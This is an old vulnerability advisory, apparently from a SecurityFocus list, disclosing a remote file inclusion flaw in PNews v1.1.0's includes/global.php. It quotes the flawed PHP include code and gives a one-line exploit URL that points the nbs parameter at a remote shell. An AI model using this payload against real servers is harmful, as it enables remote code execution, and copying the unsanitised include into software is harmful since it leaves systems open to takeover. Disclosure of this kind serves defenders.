PNews v1.1.0 (nbs) Remote File Inclusion Sep 21 2006 06:48PM
CvIr System gmail com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~

PNews v1.1.0 (nbs) Remote File Inclusion

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~

Affected Software..:PNews v1.1.0 download...:http://sourceforge.net/project/showfiles.php?group_id=35550

Class .............: Remote File Inclusion

Risk ..............: high

Found by ..........: CvIr.System

Contact ...........: CvIr.System[at]gmail.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~

Affected File:

includes/global.php

Vulnerable Code:

if(@fopen($nbs .'./includes/config.php', 'a'))

{

die("config.php is writeable by your webserver, this is a possible security risk.");

}

include($nbs .'./includes/config.php');

include($nbs .'./includes/auth.php');

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~

Exploit:

http://[target]/includes/global.php?nbs=[shell]?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~

Special GreetingS:_ANtrAX_|Azrael|her0|Matasanos|Ednux|4ur3v0ir|FR34K|Quetzal|Ha
nowars|xarnuz|Slappter|by_emR3|mnox|Malvinas|

Txis|The Shredder|FaLeNcE

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus